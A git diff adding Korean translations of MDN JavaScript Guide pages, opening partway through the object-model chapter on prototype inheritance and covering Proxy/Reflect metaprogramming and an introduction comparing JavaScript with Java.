+function SalesPerson (name, projs, quota) {...}
+SalesPerson.prototype = new WorkerBee;
+
+var mac = new Engineer("Wood, Mac");
+</pre>
+
+<p>여기서 생략된 정의가 <code>base</code>속성을 가지고 해당 생성자를 프로토타입 체인내의 상위 생성자들을 호출한닥고 좀 더 가정하면, 이런 경우, 생성된 <code>mac</code>객체의 <code>id</code>값은 5가 됩니다.</p>
+
+<p>어플리케이셔네 따라, 카운터가 이렇게 추가적으로 증가된 것은 문제가 될 수도 그렇지 않을 수 도 있습니다. 카운터에 정확한 값이 설정되기를 원한다면, 사용가능한 해결적은 아래와 같은 생성자를 대신 사용하는 것입니다:</p>
+
+<pre class="brush: js">function Employee (name, dept) {
+ this.name = name || "";
+ this.dept = dept || "general";
+ if (name)
+ this.id = idCounter++;
+}
+</pre>
+
+<p>prototype으로 사용할 직원 인스턴스를 생성할 때, 생성자에 인자들을 주어선 안됩니다. 이 생성자 정의를 사용하여, 인자들을 주지 않을 경우, 생성자는 id에 값을 할당하지 않으며 카운터를 갱신하지 않습니다. 따라서, id값을 가지는 직원 객체에 대해, 반드시 해당 직원의 이름을 명시해야 합니다. 이 예제의 경우 <code>mac</code>인스턴스의 <code>id</code>값은 1이 됩니다.</p>
+
+<h3 id="다중상속_금지">다중상속 금지</h3>
+
+<p>몇몇 객체 지향언어들은 다중 상속을 허용합니다. 그것은, 관련이 없는 부모 객체들로 부터 속성들과 값들을 상속 받을 수 있는 것을 말합니다. 자바스크립트는 다중 상속을 지원하지 않습니다.</p>
+
+<p>속성 값의 상속은 속성에 대한 값을 찾기 위한 프로토타입 체인을 검색에 의해 실행 시점에 이루어 집니다. 하나의 객체는 오로지 하나의 결합된 prototype만을 가지기 때문에, 자바스크립트는 동적으로 하나 이상의 프로토타입 체인으로 부터 상속을 할 수 없습니다. </p>
+
+<p>자바스크립트에서, 하나 이상의 다른 생성자 함수를 호출하는 생성자를 사용할 수 있습니다. 이것은 다중 상속처럼 보여질 수 있습니다. 예를 들어, 다음과 같은 구문들을 살펴보세요:</p>
+
+<pre class="brush: js">function Hobbyist (hobby) {
+ this.hobby = hobby || "scuba";
+}
+
+function Engineer (name, projs, mach, hobby) {
+ this.base1 = WorkerBee;
+ this.base1(name, "engineering", projs);
+ this.base2 = Hobbyist;
+ this.base2(hobby);
+ this.machine = mach || "";
+}
+Engineer.prototype = new WorkerBee;
+
+var dennis = new Engineer("Doe, Dennis", ["collabra"], "hugo")
+</pre>
+
+<p><code>WorkerBee</code>의 정의는 이번 장의 이전에 사용된 것과 동일하다고 가정합니다.이런 경우, <code>dennis</code>객체는 다음과 같은 속성들을 가지게 됩니다:</p>
+
+<pre class="brush: js">dennis.name == "Doe, Dennis"
+dennis.dept == "engineering"
+dennis.projects == ["collabra"]
+dennis.machine == "hugo"
+dennis.hobby == "scuba"
+</pre>
+
+<p> 따라서 <code>dennis</code>객체는 <code>Hobbyist</code> 생성자로부터 <code>취미(hobby)</code>속성을 받아 오지 않습니다. 그런데 <code>Hobbyist</code>생성자의 프로토타입에 속성을 추가 했다고 가정하면 </p>
+
+<pre class="brush: js">Hobbyist.prototype.equipment = ["mask", "fins", "regulator", "bcd"]
+</pre>
+
+<p><code>dennis</code>객체는 새로이 추가된 속성을 상속받지 않습니다.</p>
+
+<div>{{PreviousNext("Web/JavaScript/Guide/Working_with_Objects", "Web/JavaScript/Guide/Iterators_and_Generators")}}</div>
diff --git a/files/ko/web/javascript/guide/메타_프로그래밍/index.html b/files/ko/web/javascript/guide/메타_프로그래밍/index.html
new file mode 100644
index 0000000000..fe4fa13f83
--- /dev/null
+++ b/files/ko/web/javascript/guide/메타_프로그래밍/index.html
@@ -0,0 +1,258 @@
+---
+title: 메타 프로그래밍
+slug: Web/JavaScript/Guide/메타_프로그래밍
+translation_of: Web/JavaScript/Guide/Meta_programming
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{Previous("Web/JavaScript/Guide/Iterators_and_Generators")}}</div>
+
+<p class="summary">Starting with ECMAScript 2015, JavaScript gains support for the {{jsxref("Proxy")}} and {{jsxref("Reflect")}} objects allowing you to intercept and define custom behavior for fundamental language operations (e.g. property lookup, assignment, enumeration, function invocation, etc). With the help of these two objects you are able to program at the meta level of JavaScript.</p>
+
+<h2 id="Proxies">Proxies</h2>
+
+<p> ECMAScript 6에서 소개되었습니다, {{jsxref("Proxy")}} 객체는  특정 작업을 가로막는것과  사용자 정의 행위를 시행하는것을 허용합니다.예를 들면 객체가 속성을 가지는 것입니다:</p>
+
+<pre class="brush: js">var handler = {
+ get: function(target, name){
+ return name in target ? target[name] : 42;
+ }
+};
+var p = new Proxy({}, handler);
+p.a = 1;
+console.log(p.a, p.b); // 1, 42
+</pre>
+
+<p>The <code>Proxy</code> object defines a <em>target</em> (an empty object here) and a <em>handler</em> object in which a <code>get</code> <em>trap</em> is implemented. Here, an object that is proxied will not return <code>undefined</code> when getting undefined properties, but will instead return the number 42.</p>
+
+<p>Additional examples are available on the {{jsxref("Proxy")}} reference page.</p>
+
+<h3 id="Terminology">Terminology</h3>
+
+<p>The following terms are used when talking about the functionality of proxies.</p>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/Proxy/handler","handler","","true")}}</dt>
+ <dd>Placeholder object which contains traps.</dd>
+ <dt>traps</dt>
+ <dd>The methods that provide property access. This is analogous to the concept of traps in operating systems.</dd>
+ <dt>target</dt>
+ <dd>Object which the proxy virtualizes. It is often used as storage backend for the proxy. Invariants (semantics that remain unchanged) regarding object non-extensibility or non-configurable properties are verified against the target.</dd>
+ <dt>invariants</dt>
+ <dd>Semantics that remain unchanged when implementing custom operations are called <em>invariants</em>. If you violate the invariants of a handler, a {{jsxref("TypeError")}} will be thrown.</dd>
+</dl>
+
+<h2 id="Handlers_and_traps">Handlers and traps</h2>
+
+<p>The following table summarizes the available traps available to <code>Proxy</code> objects. See the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler">reference pages</a> for detailed explanations and examples.</p>
+
+<table>
+ <thead>
+ <tr>
+ <th>Handler / trap</th>
+ <th>Interceptions</th>
+ <th>Invariants</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{jsxref("Global_Objects/Proxy/handler/getPrototypeOf", "handler.getPrototypeOf()")}}</td>
+ <td>{{jsxref("Object.getPrototypeOf()")}}<br>
+ {{jsxref("Reflect.getPrototypeOf()")}}<br>
+ {{jsxref("Object/proto", "__proto__")}}<br>
+ {{jsxref("Object.prototype.isPrototypeOf()")}}<br>
+ {{jsxref("Operators/instanceof", "instanceof")}}</td>
+ <td>
+ <ul>
+ <li><code>getPrototypeOf</code> method must return an object or <code>null</code>.</li>
+ <li>If <code>target</code> is not extensible, <code>Object.getPrototypeOf(proxy)</code> method must return the same value as <code>Object.getPrototypeOf(target)</code>.</li>
+ </ul>
+ </td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Global_Objects/Proxy/handler/setPrototypeOf", "handler.setPrototypeOf()")}}</td>
+ <td>{{jsxref("Object.setPrototypeOf()")}}<br>
+ {{jsxref("Reflect.setPrototypeOf()")}}</td>
+ <td>If <code>target</code> is not extensible, the <code>prototype</code> parameter must be the same value as <code>Object.getPrototypeOf(target)</code>.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Global_Objects/Proxy/handler/isExtensible", "handler.isExtensible()")}}</td>
+ <td>{{jsxref("Object.isExtensible()")}}<br>
+ {{jsxref("Reflect.isExtensible()")}}</td>
+ <td><code>Object.isExtensible(proxy)</code> must return the same value as <code>Object.isExtensible(target)</code>.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Global_Objects/Proxy/handler/preventExtensions", "handler.preventExtensions()")}}</td>
+ <td>{{jsxref("Object.preventExtensions()")}}<br>
+ {{jsxref("Reflect.preventExtensions()")}}</td>
+ <td><code>Object.preventExtensions(proxy)</code> only returns <code>true</code> if <code>Object.isExtensible(proxy)</code> is <code>false</code>.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Global_Objects/Proxy/handler/getOwnPropertyDescriptor", "handler.getOwnPropertyDescriptor()")}}</td>
+ <td>{{jsxref("Object.getOwnPropertyDescriptor()")}}<br>
+ {{jsxref("Reflect.getOwnPropertyDescriptor()")}}</td>
+ <td>
+ <ul>
+ <li><code>getOwnPropertyDescriptor</code> must return an object or <code>undefined</code>.</li>
+ <li>A property cannot be reported as non-existent, if it exists as a non-configurable own property of the target object.</li>
+ <li>A property cannot be reported as non-existent, if it exists as an own property of the target object and the target object is not extensible.</li>
+ <li>A property cannot be reported as existent, if it does not exists as an own property of the target object and the target object is not extensible.</li>
+ <li>A property cannot be reported as non-configurable, if it does not exists as an own property of the target object or if it exists as a configurable own property of the target object.</li>
+ <li>The result of <code>Object.getOwnPropertyDescriptor(target)</code>can be applied to the target object using <code>Object.defineProperty</code> and will not throw an exception.</li>
+ </ul>
+ </td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Global_Objects/Proxy/handler/defineProperty", "handler.defineProperty()")}}</td>
+ <td>{{jsxref("Object.defineProperty()")}}<br>
+ {{jsxref("Reflect.defineProperty()")}}</td>
+ <td>
+ <ul>
+ <li>A property cannot be added, if the target object is not extensible.</li>
+ <li>A property cannot be added as or modified to be non-configurable, if it does not exists as a non-configurable own property of the target object.</li>
+ <li>A property may not be non-configurable, if a corresponding configurable property of the target object exists.</li>
+ <li>If a property has a corresponding target object property then <code>Object.defineProperty(target, prop, descriptor)</code> will not throw an exception.</li>
+ <li>In strict mode, a <code>false</code> return value from the <code>defineProperty</code> handler will throw a {{jsxref("TypeError")}} exception.</li>
+ </ul>
+ </td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Global_Objects/Proxy/handler/has", "handler.has()")}}</td>
+ <td>Property query: <code>foo in proxy</code><br>
+ Inherited property query: <code>foo in Object.create(proxy)</code><br>
+ {{jsxref("Reflect.has()")}}</td>
+ <td>
+ <ul>
+ <li>A property cannot be reported as non-existent, if it exists as a non-configurable own property of the target object.</li>
+ <li>A property cannot be reported as non-existent, if it exists as an own property of the target object and the target object is not extensible.</li>
+ </ul>
+ </td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Global_Objects/Proxy/handler/get", "handler.get()")}}</td>
+ <td>Property access: <code>proxy[foo]</code>and <code>proxy.bar</code><br>
+ Inherited property access: <code>Object.create(proxy)[foo]</code><br>
+ {{jsxref("Reflect.get()")}}</td>
+ <td>
+ <ul>
+ <li>The value reported for a property must be the same as the value of the corresponding target object property if the target object property is a non-writable, non-configurable data property.</li>
+ <li>The value reported for a property must be undefined if the corresponding target object property is non-configurable accessor property that has undefined as its [[Get]] attribute.</li>
+ </ul>
+ </td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Global_Objects/Proxy/handler/set", "handler.set()")}}</td>
+ <td>Property assignment: <code>proxy[foo] = bar</code>and <code>proxy.foo = bar</code><br>
+ Inherited property assignment: <code>Object.create(proxy)[foo] = bar</code><br>
+ {{jsxref("Reflect.set()")}}</td>
+ <td>
+ <ul>
+ <li>Cannot change the value of a property to be different from the value of the corresponding target object property if the corresponding target object property is a non-writable, non-configurable data property.</li>
+ <li>Cannot set the value of a property if the corresponding target object property is a non-configurable accessor property that has <code>undefined</code> as its [[Set]] attribute.</li>
+ <li>In strict mode, a <code>false</code> return value from the <code>set</code>handler will throw a {{jsxref("TypeError")}} exception.</li>
+ </ul>
+ </td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Global_Objects/Proxy/handler/deleteProperty", "handler.deleteProperty()")}}</td>
+ <td>Property deletion: <code>delete proxy[foo]</code> and <code>delete proxy.foo</code><br>
+ {{jsxref("Reflect.deleteProperty()")}}</td>
+ <td>A property cannot be deleted, if it exists as a non-configurable own property of the target object.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Global_Objects/Proxy/handler/enumerate", "handler.enumerate()")}}</td>
+ <td>Property enumeration / for...in: <code>for (var name in proxy) {...}</code><br>
+ {{jsxref("Reflect.enumerate()")}}</td>
+ <td>The <code>enumerate</code> method must return an object.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Global_Objects/Proxy/handler/ownKeys", "handler.ownKeys()")}}</td>
+ <td>{{jsxref("Object.getOwnPropertyNames()")}}<br>
+ {{jsxref("Object.getOwnPropertySymbols()")}}<br>
+ {{jsxref("Object.keys()")}}<br>
+ {{jsxref("Reflect.ownKeys()")}}</td>
+ <td>
+ <ul>
+ <li>The result of <code>ownKeys</code> is a List.</li>
+ <li>The Type of each result List element is either {{jsxref("String")}} or {{jsxref("Symbol")}}.</li>
+ <li>The result List must contain the keys of all non-configurable own properties of the target object.</li>
+ <li>If the target object is not extensible, then the result List must contain all the keys of the own properties of the target object and no other values.</li>
+ </ul>
+ </td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Global_Objects/Proxy/handler/apply", "handler.apply()")}}</td>
+ <td><code>proxy(..args)</code><br>
+ {{jsxref("Function.prototype.apply()")}} and {{jsxref("Function.prototype.call()")}}<br>
+ {{jsxref("Reflect.apply()")}}</td>
+ <td>There are no invariants for the <code>handler.apply</code>method.</td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Global_Objects/Proxy/handler/construct", "handler.construct()")}}</td>
+ <td><code>new proxy(...args)</code><br>
+ {{jsxref("Reflect.construct()")}}</td>
+ <td>The result must be an <code>Object</code>.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Revocable_Proxy">Revocable <code>Proxy</code></h2>
+
+<p>The {{jsxref("Proxy.revocable()")}} method is used to create a revocable <code>Proxy</code> object. This means that the proxy can be revoked via the function <code>revoke</code> and switches the proxy off. Afterwards, any operation on the proxy leads to a {{jsxref("TypeError")}}</p>
+
+<pre class="brush: js">var revocable = Proxy.revocable({}, {
+ get: function(target, name) {
+ return '[[' + name + ']]';
+ }
+});
+var proxy = revocable.proxy;
+console.log(proxy.foo); // "[[foo]]"
+
+revocable.revoke();
+
+console.log(proxy.foo); // TypeError is thrown
+proxy.foo = 1; // TypeError again
+delete proxy.foo; // still TypeError
+typeof proxy; // "object", typeof doesn't trigger any trap</pre>
+
+<h2 id="Reflection">Reflection</h2>
+
+<p>{{jsxref("Reflect")}} is a built-in object that provides methods for interceptable JavaScript operations. The methods are the same as those of the {{jsxref("Global_Objects/Proxy/handler","proxy handlers","","true")}}. <code>Reflect</code> is not a function object.</p>
+
+<p><code>Reflect</code> helps with forwarding default operations from the handler to the target.</p>
+
+<p>With {{jsxref("Reflect.has()")}} for example, you get the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/in"><code>in</code> operator</a> as a function:</p>
+
+<pre><code>Reflect.has(Object, 'assign'); // true</code></pre>
+
+<h3 id="A_better_apply_function">A better <code>apply</code> function</h3>
+
+<p>In ES5, you typically use the {{jsxref("Function.prototype.apply()")}} method to call a function with a given <code>this</code> value and <code>arguments</code> provided as an array (or an <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Indexed_collections#Working_with_array-like_objects">array-like object</a>).</p>
+
+<pre><code>Function.prototype.apply.call(Math.floor, undefined, [1.75]);</code></pre>
+
+<p>With {{jsxref("Reflect.apply")}} this becomes less verbose and easier to understand:</p>
+
+<pre><code>Reflect.apply(Math.floor, undefined, [1.75]);
+// 1;
+
+Reflect.apply(String.fromCharCode, undefined, [104, 101, 108, 108, 111]);
+// "hello"
+
+Reflect.apply(RegExp.prototype.exec, /ab/, ['confabulation']).index;
+// 4
+
+Reflect.apply(''.charAt, 'ponies', [3]);
+// "i"</code></pre>
+
+<h3 id="Checking_if_property_definition_has_been_successful">Checking if property definition has been successful</h3>
+
+<p>With {{jsxref("Object.defineProperty")}}, which returns an object if successful, or throws a {{jsxref("TypeError")}} otherwise, you would use a {{jsxref("Statements/try...catch","try...catch")}} block to catch any error that occurred while defining a property. Because {{jsxref("Reflect.defineProperty")}} returns a Boolean success status, you can just use an {{jsxref("Statements/if...else","if...else")}} block here:</p>
+
+<pre><code>if (Reflect.defineProperty(target, property, attributes)) {
+ // success
+} else {
+ // failure
+}</code></pre>
+
+<p>{{Previous("Web/JavaScript/Guide/Iterators_and_Generators")}}</p>
+
+<p> </p>
diff --git a/files/ko/web/javascript/guide/소개/index.html b/files/ko/web/javascript/guide/소개/index.html
new file mode 100644
index 0000000000..cac0779ee0
--- /dev/null
+++ b/files/ko/web/javascript/guide/소개/index.html
@@ -0,0 +1,153 @@
+---
+title: Introduction
+slug: Web/JavaScript/Guide/소개
+tags:
+ - JavaScript
+ - 가이드
+ - 안내서
+ - 자바스크립트
+translation_of: Web/JavaScript/Guide/Introduction
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide", "Web/JavaScript/Guide/Grammar_and_types")}}</div>
+
+<p class="summary">이 장은 JavaScript를 소개하고 그 일부 기초 개념을 다룹니다.</p>
+
+<h2 id="무엇을_미리_알고_있어야_하나요">무엇을 미리 알고 있어야 하나요?</h2>
+
+<p>이 안내서는 당신이 다음의 기본적인 배경지식이 있다고 가정합니다.</p>
+
+<ul>
+ <li>인터넷과 월드 와이드 웹({{Glossary("WWW")}})에 대한 전반적인 이해.</li>
+ <li>HyperText 마크업 언어({{Glossary("HTML")}})에 대한 괜찮은 실무 지식.</li>
+ <li>약간의 프로그래밍 경험. 만약 프로그래밍이 처음이라면, <a href="/ko/docs/Web/JavaScript">JavaScript</a> 메인 페이지에 링크된 tutorial 중 하나를 따라하세요.</li>
+</ul>
+
+<h2 id="어디서_JavaScript_정보를_찾을_수_있을까">어디서 JavaScript 정보를 찾을 수 있을까</h2>
+
+<p>MDN에 있는 JavaScript 문서는 다음 세가지 파트로 되어있습니다.</p>
+
+<ul>
+ <li><a href="/ko/docs/Learn">Learning the Web</a>은 입문자를 위한 정보를 제공하며, 프로그래밍과 인터넷에 대한 기본 개념을 소개합니다.</li>
+ <li><a href="/ko/docs/Web/JavaScript/Guide">JavaScript Guide</a> (이 안내서)는 JavaScript 언어와 객체에 대한 개요를 제공합니다.</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference">JavaScript Reference</a> JavaScript에 관련된 자세한 참고 자료를 제공합니다.</li>
+</ul>
+
+<p>JavaScript가 처음이라면, <a href="/ko/docs/Learn">learning area</a>와 <a href="/ko/docs/Web/JavaScript/Guide">JavaScript Guide</a>에 있는 문서를 먼저 보세요. 일단 기초를 확실히 파악한 후에는, 각 객체와 문(statement)에 대한 더 자세한 정보를 <a href="/ko/docs/Web/JavaScript/Reference">JavaScript Reference</a>에서 확인할 수 있습니다.</p>
+
+<h2 id="JavaScript는_무엇인가">JavaScript는 무엇인가?</h2>
+
+<p>JavaScript는 크로스-플랫폼, 객체지향 스크립트 언어입니다. 작고 가벼운 언어입니다. 호스트 환경(가령, 웹 브라우저) 내에서, JavaScript는 프로그램 제어를 제공하기 위해 그 환경의 객체에 연결될 수 있습니다. Node.Js와 같은 자바 스크립트의 고급 서버언어로 사용 할 수도 있습니다.이것을 사용하면 단순히 파일을 다운로드하는 것 (예 : 여러 컴퓨터 간의 실시간 공동 작업)보다 웹 사이트에 더 많은 기능을 추가 할 수 있습니다. 호스트 환경 (예 : 웹 브라우저) 내에서 JavaScript는 해당 환경의 객체에 연결되어 프로그래밍 방식으로 제어 할 수 있습니다.</p>
+
+<p>JavaScript는 <code>Array</code>, <code>Date</code>, <code>Math</code>와 같은 객체에 대한 표준 라이브러리와 연산자(operator), 제어 구조, 문과 같은 언어 요소의 코어 집합을 포함합니다. 코어 JavaScript는 거기에 추가 객체를 보충하여 다양한 목적으로 확장될 수 있습니다. 예를 들면:</p>
+
+<ul>
+ <li><em>클라이언트 측 JavaScript</em>는 브라우저와 문서 객체 모델(DOM) 을 제어하는 객체를 제공하여 코어 언어를 확장합니다. 예를 들어, 클라이언트 측 확장은 어플리케이션이 요소(element)를 HTML 폼에 두고, 마우스 클릭, 폼 입력 및 페이지 탐색 같은 사용자 이벤트에 응답하게 해줍니다.</li>
+ <li><em>서버 측 JavaScript</em>는 서버에서 JavaScript 실행에 관련된 객체를 제공하여 코어 언어를 확장합니다. 예를 들어, 서버 측 확장은 어플리케이션이 데이터베이스와 통신하고, 한 번의 호출 정보의 연속성을 어플리케이션의 다른 곳에 제공하거나, 서버에서 파일 조작을 수행할 수 있도록 해줍니다.</li>
+</ul>
+
+<p>이것은 브라우저에서 JavaScript가 웹 페이지 (DOM)의 모양을 바꿀 수 있음을 의미합니다. 또한 서버의 Node.js JavaScript는 브라우저에 작성된 코드의 사용자 정의 요청에 응답 할 수 있습니다.</p>
+
+<h2 id="JavaScript_and_Java" name="JavaScript_and_Java">JavaScript 와 Java</h2>
+
+<p>JavaScript 와 Java는 여러 면에서 비슷하지만 어떤 면에서는 근본적으로 다릅니다. JavaScript 언어는 Java를 닮았지만 Java의 정적 형지정(static typing)과 강한 형 검사(strong type checking)가 없습니다. JavaScript는 대부분의 Java 식 구문, 명명 규칙 및 기본적인 흐름 제어 구조를 따릅니다. 그것이 LiveScript에서 JavaScript로 이름이 바뀐 이유였습니다.</p>
+
+<p>Java의 선언에 의해 생성되는 클래스의 컴파일-타임 시스템과는 달리, JavaScript는 숫자, 불리언, 그리고 문자열 값을 표현하는 적은 수의 자료 형을 기반으로 한 런타임 시스템을 지원합니다. JavaScript 는 더 일반적인 클래스 기반 객체 모델 대신에 프로토타입 기반 객체 모델을 갖습니다. 프로토타입 기반 모델은 동적 상속을 제공합니다. 즉, 상속된 대상은 각각의 객체에 따라 다양할 수 있습니다. JavaScript는 또한 어떤 특정한 선언을 요구하지 않는 함수도 지원합니다. 함수는 객체의 속성이나, 타입이 느슨하게 형지정된 채 실행되는 메소드가 될 수 있습니다.</p>
+
+<p>JavaScript는 Java에 비해 매우 자유로운 형태의 언어입니다. 여러분은 모든 변수, 클래스, 및 메소드를 선언하지 않아도 됩니다. 여러분은 메소드가 public, private, 또는 protected 인지 염려할 필요가 없고 인터페이스를 구현하지 않아도 됩니다. 변수, 매개변수(parameter), 및 함수의 반환 형은 명시적으로 지정되지 않습니다.</p>
+
+<p>Java는 빠른 실행과 형 안전성(type safety)을 위해 설계된 클래스 기반 프로그래밍 언어입니다. 형 안전성은, 예를 들어, 여러분이 Java 정수를 객체의 레퍼런스로 형변환(cast)하거나 Java 바이트코드를 변경하여 private 메모리에 접근할 수 없음을 의미합니다. Java의 클래스 기반 모델은 프로그램이 오로지 클래스와 그 메소드로만 구성된다는 것을 뜻합니다. Java의 클래스 상속과 강한 형지정은 보통 단단하게 결합된 객체 계층구조를 요구합니다. 이러한 요구는 Java 프로그래밍을 JavaScript 프로그래밍보다 더 복잡하게 만듭니다.</p>
+
+<p>반면에, JavaScript는 HyperTalk 과 dBASE 같은 더 작고 동적 형지정이 가능한 언어들의 정신을 계승했습니다. 이러한 스크립팅 언어는 더 쉬운 구문과 특별한 내장(built-in) 기능 및 객체 생성을 위한 최소 요구사항으로 인해 훨씬 더 많은 사람들에게 프로그래밍 도구를 제공합니다.</p>
+
+<table class="standard-table">
+ <caption>Java와 비교한 JavaScript</caption>
+ <thead>
+ <tr>
+ <th scope="col">JavaScript</th>
+ <th scope="col">Java</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>객체 지향. 객체의 형 간에 차이 없음. 프로토타입 메커니즘을 통한 상속, 그리고 속성과 메서드는 어떤 객체든 동적으로 추가될 수 있음.</td>
+ <td>클래스 기반. 객체는 클래스 계층구조를 통한 모든 상속과 함께 클래스와 인스턴스로 나뉨. 클래스와 인스턴스는 동적으로 추가된 속성이나 메소드를 가질 수 없음.</td>
+ </tr>
+ <tr>
+ <td>변수 자료형이 선언되지 않음(dynamic typing, loosely typed).</td>
+ <td>변수 자료형은 반드시 선언되어야 함(정적 형지정, static typing).</td>
+ </tr>
+ <tr>
+ <td>하드 디스크에 자동으로 작성 불가.</td>
+ <td>하드 디스크에 자동으로 작성 가능.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>JavaScript와 Java의 차이에 대한 더 많은 정보는, <a href="/ko/docs/Web/JavaScript/Guide/객체_모델의_세부사항">객체 모델의 세부사항</a> 장을 보세요.</p>
+
+<h2 id="JavaScript_and_the_ECMAScript_Specification" name="JavaScript_and_the_ECMAScript_Specification">JavaScript 와 ECMAScript 명세</h2>
+
+<p>JavaScript는 JavaScript에 기반한 표준화된 국제 프로그래밍 언어를 제공하기 위해<a class="external" href="http://www.ecma-international.org/">Ecma International</a> 에서 표준화 됩니다 — European association for standardizing information and communication systems (ECMA는 이전에 European Computer Manufacturers Association의 두문자어였습니다). ECMAScript라 불리는 이 JavaScript의 표준화 버전은 표준을 지원하는 모든 어플리케이션에서 같은 방식으로 동작합니다. 회사들은 그들의 JavaScript 구현을 개발하기 위해 공개 표준 언어를 사용할 수 있습니다. ECMAScript 표준은 ECMA-262 명세(specification)에서 문서화되었습니다. JavaScript와 ECMAScript 명세 판의 여러 버전에 대한 더 많은 것을 배우려면 <a href="/ko/docs/Web/JavaScript/New_in_JavaScript">New in JavaScript</a> 을 보세요.</p>
+
+<p>ECMA-262 표준은 또한 IOS-16262로서 <a class="external" href="http://www.iso.ch/">ISO</a> (국제 표준화 기구) 에 의해 승인되었습니다. <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">Ecma International website</a> 에서 그 명세를 찾을 수 있습니다. ECMAScript 명세는 <a class="external" href="http://www.w3.org/">World Wide Web Consortium (W3C)</a> 나  <a href="https://whatwg.org/">WHATWG (Web Hypertext Application Technology Working Group)</a>에 의해 표준화된 Document Object Model (DOM)을 설명하지 않습니다. DOM은 여러분의 스크립트에 HTML 문서 객체를 드러내는 방법을 정의합니다. JavaScript로 프로그래밍을 할 때 사용되는 여러 기술들에 대한 정보를 얻으 시려면, <a href="/ko/docs/Web/JavaScript/JavaScript_technologies_overview">JavaScript technologies overview</a> 를 참고하세요.</p>
+
+<h3 id="JavaScript_Documentation_versus_the_ECMAScript_Specification" name="JavaScript_Documentation_versus_the_ECMAScript_Specification">JavaScript 문서 vs ECMAScript 명세</h3>
+
+<p>ECMAScript 명세는 ECMAScript 구현을 위한 요구사항의 집합입니다; 여러분이 여러분의 ECMAScript 구현이나 엔진(가령 Firefox의 SpiderMonkey, 또는 Chrome의 v8)에서 표준을 따르는 언어의 기능을 구현하길 원할 때 유용합니다.</p>
+
+<p>ECMAScript 문서는 스크립트 프로그래머를 돕기 위함이 아닙니다; 스크립트 작성을 위한 정보는 JavaScript 문서를 사용하세요.</p>
+
+<p>ECMAScript 명세는 JavaScript 프로그래머에게 익숙하지 않을 수 있는 용어와 문법을 사용합니다. 언어의 기술이 ECMAScript 에서 다를 수 있지만, 언어 그 자체는 같습니다. JavaScript는 ECMAScript 명세에 서술된 모든 기능을 지원합니다.</p>
+
+<p>JavaScript 문서는 JavaScript 프로그래머에게 적합한 언어의 측면을 설명합니다.</p>
+
+<h2 id="JavaScript_시작하기">JavaScript 시작하기</h2>
+
+<p>JavaScript 시작은 쉽습니다: 최신 웹 브라우저만 있으면 됩니다. 이 안내서는 현재 Firefox의 최신 버전에서만 사용 가능한 약간의 JavaScript 기능을 포함하므로, 가장 최신 버전의 Firefox를 사용하기를 권합니다.</p>
+
+<p>JavaScript를 실험하기 유용한 두 도구가 Firefox에 내장되어 있습니다: Web Console과 Scratchpad.</p>
+
+<h3 id="웹_콘솔">웹 콘솔</h3>
+
+<p><a href="/ko/docs/Tools/Web_Console">웹 콘솔</a>은 현재 로드된 페이지에 대한 정보를 보이고, 또한 여러분이 현재 페이지에서 JavaScript 식을 실행해볼 수 있는<a href="/ko/docs/Tools/Web_Console#The_command_line_interpreter"> 명령어 입력줄(command line)</a>을 제공합니다.</p>
+
+<p>웹 콘솔을 열기 위해서는, Firefox의 "도구" 메뉴 하위에 있는 "개발자" 메뉴의 "웹 콘솔"을 선택(윈도우와 리눅스에서는 <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>I</kbd>, 맥에서는  <kbd>Cmd</kbd>-<kbd>Option</kbd>-<kbd>K</kbd>)합니다. 브라우저 창의 아래에 웹 콘솔이 나타납니다. 콘솔의 바닥을 따라 나온 것이 여러분이 JavaScript를 입력할 수 있는 명령어 입력줄이고, 실행 결과는 바로 위 공간에 표시됩니다:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16569/2019-04-04_00-15-29.png" style="display: block; height: 1824px; margin-left: auto; margin-right: auto; width: 2784px;"></p>
+
+<p>이 콘솔은 eval과 완전히 동일하게 동작합니다:마지막 입력된 표현식이 반환되죠. 간단하게 생각해서, 콘솔에 뭔가 입력할 때마다 eval로 감싼 console.log로 둘러싸인 형태라고 보시면 됩니다.</p>
+
+<pre class="notranslate">function greetMe(yourName) { alert('Hello ' + yourName); } <code>console.log(eval('3 + 5'));</code></pre>
+
+<h3 id="Scratchpad">Scratchpad</h3>
+
+<p>Web Console은 한 줄 JavaScript를 실행하기에 훌륭합니다. 하지만 비록 여러 줄을 실행할 수 있지만, 아주 불편하고 Web Console을 사용해 여러분의 샘플 코드를 저장할 수도 없습니다. 그러므로 좀 더 복잡한 예제를 위해서는 <a href="ko/docs/도구들/Scratchpad">Scratchpad</a>가 더 나은 도구입니다.</p>
+
+<p>Scratchpad를 열기 위해, Firefox의 메뉴 "Tools" 의 하위에 있는 "Web Developer" 메뉴의 "Scratchpad" 를 선택합니다(단축키: <kbd>Shift</kbd>+<kbd>F4</kbd>). 이것은 분리된 창에서 열리고 브라우저에서 JavaScript를 작성하고 실행하기 위해 사용할 수 있는 에디터입니다. 여러분은 또한 디스크로부터 스크립트를 부르거나 저장할 수도 있습니다.</p>
+
+<p><img src="https://mdn.mozillademos.org/files/13468/scratchpad.png"></p>
+
